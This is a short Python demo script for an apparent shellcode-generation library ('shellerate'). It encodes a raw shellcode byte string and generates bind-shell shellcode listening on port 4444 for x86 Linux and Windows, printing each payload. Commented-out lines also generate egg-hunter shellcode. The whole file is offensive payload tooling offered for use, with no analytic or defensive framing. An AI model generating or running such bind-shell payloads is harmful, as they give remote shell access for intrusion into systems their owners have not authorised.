#!/usr/bin/env python3

import logging
from shellerate.bind_shellcode import *
from shellerate.encoder import *

def main():
  logging.basicConfig(format="%(asctime)s [%(levelname)8s] - %(message)s", level=logging.DEBUG)

  enc = Encoder("\\x31\\xc9\\x64\\x8b\\x41\\x30\\x8b\\x40\\x0c\\x8b\\x70\\x14", "31")
  
  print(enc.encode())

  b=BindShellcode(4444, 'x86', 'linux')
  # b.encode()
  b.generate()
  print("Shellcode: %s" % b.shellcode())

  b=BindShellcode(4444, 'x86', 'win')
  # b.encode()
  b.generate()
  print("Shellcode: %s" % b.shellcode())

  b.encode()
  b.generate()
  print("Shellcode: %s" % b.shellcode())

  # b=BindShellcode(4444, 'x86', 'linux')
  # b.egg_hunter()
  # b.generate()
  # sc = b.shellcode()

  # print("Egg Hunter: %s" % sc["egg_hunter_code"])
  # print("Shellcode: %s" % sc["egg_hunter_shellcode"])

if __name__ == '__main__':
  main()
